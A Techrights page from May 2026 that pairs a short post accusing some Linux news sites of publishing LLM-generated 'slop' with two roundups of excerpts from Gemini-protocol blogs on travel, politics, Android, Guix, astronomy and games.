⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠃⠛⠛⠛⠛⠛⠛⠛⠛⠛⠘⠛⠛⠛⠛⠛⠛ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⢻⣿⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ䷩ 𝚕𝚒𝚗𝚎 4880 ╒═══════════════════ 𝐀𝐑𝐓𝐈𝐂𝐋𝐄 ═════════════════════════════════════════════════╕ (ℹ) Images, hyperlinks and comments at https://techrights.org/n/2026/05/12/Update_on_Slop_About_Linux.shtml Gemini version at gemini://gemini.techrights.org/n/2026/05/12/Update_on_Slop_About_Linux.gmi ⠀⌧ █▇▆▅▄▃▂▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁ Update on Slop About "Linux"⠀▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▂▃▄▅▆▇█ ⌧ posted by Roy Schestowitz on May 12, 2026 Articles containing words like "Linux" (or lowercase, "linux") are abundant, but many of them are fake. Many are just a drunken utterance of LLMs. We've managed to identify the main offenders - sites like linuxiac, linuxsecurity, ubuntupit, linuxjournal, fosslinux, and linuxteck. Most of the time, more so in recent months, searching Google News for "Linux" results in mostly real articles, with few exceptions. This week we noticed this one anomaly (a slopfarm): 🄸🄼🄰🄶🄴 🄳🄴🅂🄲🅁🄸🄿🅃🄸🄾🄽 ⦇Slop or fake: New PamDOORa Backdoor Attacking Linux Systems to Steal SSH Credentials⦈ "Linux" is a term many people are interested it, so it's not shocking that slopfarms target it. For now, however, we are not seeing a lot of slop about "Linux" except from very few domains that went rogue and are still somewhat active. We'll casually mention their names so that people are aware and those domains will - eventually - perish. █ * Over_at_Tux_Machines... * SLAPP_Censorship_-_Part_74_Out_of_200:_The_Basis_of_My_Lawsuit_Against Alex_Graveley,_Who_Helps_Garrett_Stack_the_Docket_in_Another_Continent ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⣿ ⣿⣿⣿⣿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⣿⣿⡇⣿ ⣿⣿⣿⣿⠀⠀⢀⡤⣤⡤⡄⡄⠠⠠⠀⠠⣤⢤⢠⡀⠄⣀⢠⠀⠀⠀⠀⠀⠀⠀⡀⢀⠀⠠⢀⡀⠀⠀⢀⠀⢀⡀⡀⣀⠀⠀⠀⢀⣀⡀⣀⣀⣀⡀⠀⡀⣀⠀⡀⠀⠠⣀⢀⠀⠀⠀⠀⣿⣿⣿⣿⡿⣿⣿⣿⣿⡇⣿ ⣿⣿⣿⣿⣀⣀⣀⣁⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠋⠉⠙⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⡇⢀⣾⣿⣿⣆⠘⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣇⠈⣿⡟⠟⠟⠀⢻⣿⢟⢟⠟⣻⢻⣟⣟⡿⢻⢻⢟⢟⢿⢻⡿⣿⣟⡿⡿⣿⢟⣟⢿⣻⣟⠟⡟⣟⢿⣻⠻⣿⢛⣟⣿⣿⣿⢛⣿⢿⢿⣟⢻⠟⠙⠛⠷⠌⢻⢿⢻⡟⢟⢿⣿⣿⣿⣿⣿⣿⣿ ⣿⡿⣿⣿⣿⣿⣿⣿⣿⠀⠻⠷⠓⠓⠃⠈⠉⠁⢀⣀⣿⣿⡶⢷⣾⣷⣾⢷⣷⣾⡶⣷⣾⣶⣿⣶⣶⣶⣷⣾⣿⣾⣾⣶⣷⣾⣶⣾⣿⣾⣧⣼⣷⣿⣾⣷⣾⣷⠷⢶⣌⢶⣷⣄⣷⣿⣿⣾⣷⣷⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⠀⣿⣿⣿⣿⣿⣿⣿⣧⣤⣤⣴⣴⣶⣾⣿⣿⣿⣿⣿⣿⣯⣽⣼⣤⣮⣴⣵⣼⣧⣿⣥⣿⣬⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣟⣻⣿⡁⠿⣋⡙⢷⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠉⠁⣀⣀⣀⠉⠛⢿⣿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡻⢟⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢿⣹⠈⠉⠝⠛⠡⡿⡯⠭⠍⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⠁⣠⣾⣿⣿⣿⣿⣿⣦⠈⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡰⣗⣿⣯⡟⠶⣾⣿⣷⣶⣾⣿⣿⣿⣿⣿⣿⠟⠻⢷⣌⠻⣿⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⠀⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⢹⡟⠉⠉⠉⠉⠉⠉⠀⠸⣏⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠈⠉⠉⠁⠈⠉⠉⠉⠉⠉⠉⠉⠉⠉⠁⠈⢩⣆⣙⣳⣿⡟⣿⣿⣿⣿⣿⢿⢿⣿⡿⣿⢿⣿⡿⣿⣿⣿⣿⣿⣿ ⣿⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⢹⡇⠀⠀⠀⠀⠀⠀⠀⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣂⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢈⣥⣿⣿⣿⣤⣽⣿⣿⣿⣿⣿⣿⣿⣯⣿⣿⣿⣿⣽⡿⢿⣿⣿⣿ ⣿⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠁⠀⠀⠀⠀⠀⠀⣀⣼⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠠⠄⠁⠀⠀⠀⠀⠀⡠⠄⠀⠀⢾⡿⠿⠷⠦⠴⠶⠶⠶⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⢿⣿⣿⣿ ⣿⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠈⠲⠶⣶⣶⡶⠿⠛⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠂⠂⠐⠒⠉⠀⠀⠀⡐⠀⢠⡀⠀⡘⣶⣃⣀⣀⣂⣂⣀⣐⣒⣐⣐⣀⣂⣂⣀⣂⣀⣀⣀⣐⣂⣺⣿⣿⣿ ⣿⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣶⠀⠀⠀⠀⠀⠀⡤⠒⠀⠐⠂⠄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠀⠔⢦⡈⠉⠤⢾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣯⣿⣿⣿⣿⣿ ⣿⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢻⡆⠀⠀⠀⠀⢸⠀⡄⠀⠀⡄⢸⠀⠀⠀⠀⠀⢀⠀⢤⡀⠀⡀⠳⠤⠂⠀⠀⠀⢸⣿⣿⣿⣻⣛⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣸⡇⠀⠀⠀⠀⠈⠢⠀⠈⠀⡤⠊⠀⠀⠀⠀⠀⠁⠀⡠⠃⠀⠈⠂⠀⠀⠀⠀⠀⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⢠⣤⣴⣶⡶⠾⠿⠟⠛⠛⠉⠀⠀⠀⠀⠀⠀⠚⠓⠓⠃⠀⠀⠀⠀⠀⠀⠀⠸⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⣿⣿⢿⡿⣿⢿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠈⠁⠀⠀⠀⠀⠀⣀⣄⠀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⡿⠉⣿⣿⣿⣿⣿⣿⣽⣿⣿⠽⢿⣿⣿⣯⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⢀⣴⠄⠀⠀⣼⠟⠉⠀⢸⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣯⣠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠁⠀⠃⠀⣾⠇⣤⠀⠀⣿⠇⣐⠀⢠⣿⢸⢙⢶⠉⡳⡎⢙⣾⢭⢂⣢⠀⡯⣇⣐⣤⠀⢸⡄⡔⣇⠄⣤⢢⢠⠀⠀⣿⣿⣿⠛⠛⠛⠛⠛⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣀⣈⣀⡀⠙⠁⠁⢀⣸⣿⣀⠉⣀⣨⣿⣈⣁⣀⣉⣁⣈⣉⣈⣀⣉⣉⣀⣉⣁⣉⣁⣉⣀⣉⣉⣁⣉⣀⣉⣈⣀⣀⣿⣿⡏⠀⠠⠀⡆⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⡿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⣿ ⣿⣿⣿⣿⣞⣥⣺⣐⣿⣠⣾⣧⣷⣇⣐⣯⣸⣿⣨⣄⣅⣿⣢⣾⣸⣺⣕⣹⣨⣡⣿⣨⣠⣷⣇⣣⣂⣼⣕⣵⣿⣸⣻⣮⣀⣾⣸⣀⣕⣿⣕⣕⣷⣅⣅⣷⣅⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣇⣿ ䷩ 𝚕𝚒𝚗𝚎 4948 ╒═══════════════════ 𝐃𝐀𝐈𝐋𝐘 𝐋𝐈𝐍𝐊𝐒 ═════════════════════════════════════════════╕ ⠀⌧ █▇▆▅▄▃▂▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁ Gemini Links 12/05/2026: Android Nostalgia and Switching to Guix⠀▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▂▃▄▅▆▇█ ⌧ posted by Roy Schestowitz on May 12, 2026 🄸🄼🄰🄶🄴_🄳🄴🅂🄲🅁🄸🄿🅃🄸🄾🄽_⦇Old_dusty_bottle_half_full_with_oil⦈_ 🄸🄼🄰🄶🄴 🄳🄴🅂🄲🅁🄸🄿🅃🄸🄾🄽 ⦇GNOME bluefish⦈ § Contents⠀➾ * Gemini*_and_Gopher o Personal/Opinions o Politics_and_World_Events o Technology_and_Free_Software # Internet/Gemini * § Gemini* and Gopher⠀➾ o § Personal/Opinions⠀➾ # ⚓ Rainy_and_windy_Monday,_where_I_contemplate_much_work_and unclear_future⠀⇛ Much travel recently. We were in Austria, Slovakia, Slovenia, Italy, all within the past few weeks. The whole journey was several roundtrips: for every location, after going there, we returned back home to beautiful bezauberndes Bayern. It was utterly inefficient and spectacularly beautiful and fun. It was worth it. # ⚓ Kim_Stanley_Robinson's_drones⠀⇛ I can't find anything - but then search is borked these days. I have taken to wondering if anyone else is making the connection between Ukraine's refinement of the use of drones in warfare and the drones in Kim Stanley Robinson's Ministry for the Future. # ⚓ Candles_in_the_dark⠀⇛ Candles in the dark, tumbling through space. Sometimes we collide, fueling our flames. Sometimes our trajectories align, just for a while. # ⚓ cackle⠀⇛ to step over that threshold from safe to strange territory to go blind into the dark each step steadier than last to be welcomed as whole a hearty cackle released piercing the night # ⚓ sick_from_the_dust⠀⇛ # ⚓ spring_cleaning⠀⇛ I don't miss my ex-wife, I miss the family feeling. I was probably miserable during that time, but my selective memory tends to remember the happy time mostly. The hardest part is to only see my daughter half the time. Life is different when she is around, and then I am back to myself. # ⚓ push_up⠀⇛ My push up practice changes my body. I kick higher, and go deeper in the forward bend. As simple as the forward bend might seems, it's a strange yoga posture. o § Politics and World Events⠀➾ # ⚓ Dissociated_Declaration_of_Independence_📜⠀⇛ We hold these truths to be tried for pretended offences: For abolishing the free System of English Laws in a neighbouring Province, establishing therein an Arbitrary government, and enlarging its Boundaries so as to render it at once an example and fit instrument for introducing the same absolute rule into these Colonies: [...] # ⚓ Council_Elections⠀⇛ Yesterday was voting day for a third of council seats in the UK. All of Solihull's seats were up for election. Today has been a bit of an odd one. I tend to not look at council election results. I check local results and only care about those. I have firmly been a believer in voting for those who are local and do things, regardless of party. Well, within reason. I do not believe I could vote for Reform, a party led by frog eyes, money sucker, knob end, scammer Nigel Farage. He is scum and the sort of dangerously charasmatic scum who leads people to spite themselves. Reform has ended up winning a lot of seats. People are voting as Nigel seems to represent a change from the usual soul sucking political classes when actually he is a shyster who is in it for the cash. The party claims to check those who want to stand in elections but often they end up with racists, xenophobic or general nutters. After all, you have to pay to be considered to run in elections. More nutters = more cash in the party coffers. The party is also not ran like normal parties. It is a company with Farage and Richard Tice as the sole directors. They control the cash and so control the party with no oversight. Bloody ridiculous but people are fed up of the usual political parties and so end up voting for a party whose candidates promise to lower taxes and stop those pesky immigrants when running for council roles. Yes, those councils whose sole role is sorting out the local social care, schools, bins and other local services. At best, they might reduce council tax by sacking the diversity officer and so reduce council tax by 0.01p for each band A property, a minority of tax payers. o § Technology and Free Software⠀➾ # ⚓ Android_nostalgia⠀⇛ I've been disillusioned with Android since 11. It was the latest version I had on my N0k1a 7.2 and I believe the beginning OS on my newest phone. Maybe not. Regardless, I started using the 7.2 as a sort of tablet and backup phone (VoIP). It just got glitchier and slower... Maybe not slower, but definitely glitchier. A few days ago, it died. It happened often enough that I didn't really care. So I plugged it in to charge it. Normal. As soon as I see the 0% of the battery, I turn it on. It boots. It gets to the lock screen. I punch in my PIN and use my fingerprint to unlock it and...it shows a black screen. This is just general sluggishness. I give it a little bit, maybe 20 seconds. I pull down the notification bar. The brightness slider is there...and nothing else. It soon reboots. And it kept rebooting. I had to unplug it and leave it in a drawer. It's my belief that somehow I started recording video in my sleep (easy enough when you have your wired headphones in it: it gets dragged under me regularly). I think it ate up all the available internal memory and destroy the system's ability to boot. # ⚓ Out_of_town⠀⇛ Recently I got a MacBook Neo and so I took it along with me. I said last year that I didn't think I was going to buy anything Apple anymore, but I've been a Mac user for about 30 years now. When the Neo debuted I was excited about it, and nothing excites me in the computer world anymore. I like macOS 26 Tahoe and the Liquid Glass UI, though everyone else hates them both. OS aside it's just a really nice object to hold and look at. # ⚓ Switching_to_Guix⠀⇛ I’m putting some serious thought into switching my main system (coreboot x220) to Guix. The barrier to entry is shrinking: I’ve figured out how to make a keyd service and from that I was able to extrapolate and make the Nix package manager work so I have Nix under Guix. If I move my x220 to Guix, I’ll be able to experiment just as much with Nix as I do now without my store growing out of control. I get the niceties of Guix and determinate systems without SystemD. It’s just NixOS that needs SystemD, not the packages I use. So if I switch, I get to keep all the cool stuff from Nix, keep on learning how that all works, and add in learning everything I can about Guix. # ⚓ AI_sentiment⠀⇛ There was a time early in the AI usage increase that I struggled to find articles from writers who were speaking out against LLMs, so I collected as many as I could and saved them for the moments where I needed to share some of my reasoning for finding prolific AI use so troubling. # § Internet/Gemini⠀➾ # ⚓ Welcome_and_Unwelcome_Content_on_Antenna⠀⇛ I knew this would happen, and I was not looking forward to it. I’ve deleted a feed from Antenna today, because it doesn’t fit the purpose of Antenna: helping to discover Gemini content. The deleted feed’s content was daily posts with links to WWW content. # ⚓ Server_Name_Indication_(SNI)_is_for_selecting_a service,_not_a_certificate⠀⇛ I added support for Server Name Indication (SNI) to the Gemini Protocol server I am working on, Ground Control, so that multiple capsules can be served by the same server with their own certificates. This is something Ground Control lost when I switched from OpenSSL to BearSSL. BearSSL explicitly excludes this feature because it's not a core part of the TLS protocol. The paradigm in OpenSSL is that the application developer writes a function that takes as a parameter a domain name and returns the key that should be used for that domain. This function is attached to the OpenSSL object, and is called by the library during the TLS handshake to configure a new connection. # ⚓ LOST_MY_KEY⠀⇛ I Use my GophHub service very regularly to browse GitHub repos, probably more than any other online service I've made. But keeping it online seems to be a game of annoying little breakages. I expected that GitHub would change their API and break things, but Tilde.club is actually the source of most trouble. One breakage was when they changed the user for running Gopher CGI scripts from the usual "nobody" to "gopher", whith the latter not having permission to write to files/ directories created by the former, so the script couldn't write to the old temporary cache directory in /tmp anymore, and I had to make a new one. =============================================================================== * Gemini_(Primer) links can be opened using Gemini_software. It's like the World Wide Web but a lot lighter. =============================================================================== Image source: Old_dusty_bottle_half_full_with_oil =============================================================================== * Links_11/05/2026:_Another_Oracle_Setback_and_Mass_Layoffs_in_Iran * Another_Discrimination_Lawsuit_Against_IBM_and_Workers_Say_IBM_Culls Older_Workers_(Just_Like_Microsoft) ䷩ 𝚕𝚒𝚗𝚎 5264 ╒═══════════════════ 𝐃𝐀𝐈𝐋𝐘 𝐋𝐈𝐍𝐊𝐒 ═════════════════════════════════════════════╕ ⠀⌧ █▇▆▅▄▃▂▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁ Gemini Links 12/05/2026: On Astronomy and Stargazing, Coyote Time, and Freenom⠀▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▂▃▄▅▆▇█ ⌧ posted by Roy Schestowitz on May 12, 2026 🄸🄼🄰🄶🄴_🄳🄴🅂🄲🅁🄸🄿🅃🄸🄾🄽_⦇Sad_man_trapped_inside_bottle⦈_ 🄸🄼🄰🄶🄴 🄳🄴🅂🄲🅁🄸🄿🅃🄸🄾🄽 ⦇GNOME bluefish⦈ § Contents⠀➾ * Gemini*_and_Gopher o Personal/Opinions o Science o Technology_and_Free_Software # Internet/Gemini * § Gemini* and Gopher⠀➾ o § Personal/Opinions⠀➾ # ⚓ radio⠀⇛ I used to love listening to the radio. Back when I was at uni I was driving around a 1999 Holden Astra with no bluetooth, no aux, not even a tape player to use one of those 3.5mm to cassette adapters. Now that I think about it, there must have been a CD reader but I had no CDs and never acquired any either. The only source of mental stimulation that I had (other than surviving the city streets) was good ol' FM radio. # ⚓ Ramblings_on_Plant_Taxonomy⠀⇛ For a long time, I've had a lot of thoughts about plant taxonomy. It's something I think about on a daily basis, given the amount of time I spend around plants, looking at them and pondering them. Taxonomy is interesting because here, we're trying to draw neat little human boxes around things that are, at the best, on a spectrum. Trying to figure out exactly the best way to do this and the best practices for it are a very interesting topic! o § Science⠀➾ # ⚓ On_Astronomy_and_Stargazing⠀⇛ For years, one of the hobbies that has really defined my life is astronomy and stargazing. I have a nice telescope and I love spending time alone in the dark, straining to see what is out there. I've got a really nice set of eyepieces, I've worked to keep my mirror clean, I've flocked the inside of the tube, I've added a computer fan for temprature equalizaiton, and more. Suffice it to say, I love trying to see wee little faint fuzzy things in the sky. o § Technology and Free Software⠀➾ # ⚓ Against_Coyote_Time⠀⇛ Okay maybe this is platforming heresy but when I was little I hated the “coyote time” in platforming games. Still do. It’s there in order to make the game more welcoming and forgiving and I applaud that sentiment but what happened was: “Oh. I can’t reach the other side. Because I’m jumping too early. Because the game expects me to not jump until I’ve actually left the ledge.” So counterintuitive. It had the opposite effect and felt unwelcoming, punishing, scary, and frustrating. # ⚓ Chaosium's_QuestWorlds_arrived_today!⠀⇛ This is a hardcover, with sewn signatures with their backs embedded in glue on the spine backing, and it is 6×8.5 inches. While I like the size, the fonts used in this book are much too small, and I'd rather have had a thicker book or a regular 8.5×11 inch book. (What is with Chaosium and absurdly small fonts lately? Both the *Basic Roleplaying: Universal Game Engine* and *Basic Roleplaying: Creatures* books have had unpleasantly small fonts.) The paper is not BRP:UGE's thicker cream, but a thinner plain white, and the book is printed in black and white. I don't mind the black and white printing, but I would have liked the thicker cream paper better. Oddly enough, in light of the plain white paper used, the book incorporates a ribbon bookmark, which I like. While published by Chaosium, it is copyrighted by Moon Design Publications, LLC. It is licensed under the ORC license. # § Internet/Gemini⠀➾ # ⚓ Free_domain_names⠀⇛ Are you looking for a free domain names? Freenom used to exist, but it doesn't work anymore. In case you know, Freenom was sued by Meta. I know dot TK. This was the predecessor service of Freenom, and dot TK was the best service at the time. # ⚓ How_I_Create_New_Blog_Posts⠀⇛ Running a gemini capsule is fun, but manually creating a new post folder, writing the boilerplate and remembering to add the "Back to my blog" link is something I dislike. So I wrote a small bash script to automate the process. =============================================================================== * Gemini_(Primer) links can be opened using Gemini_software. It's like the World Wide Web but a lot lighter. =============================================================================== Image source: Sad_man_trapped_inside_bottle =============================================================================== * 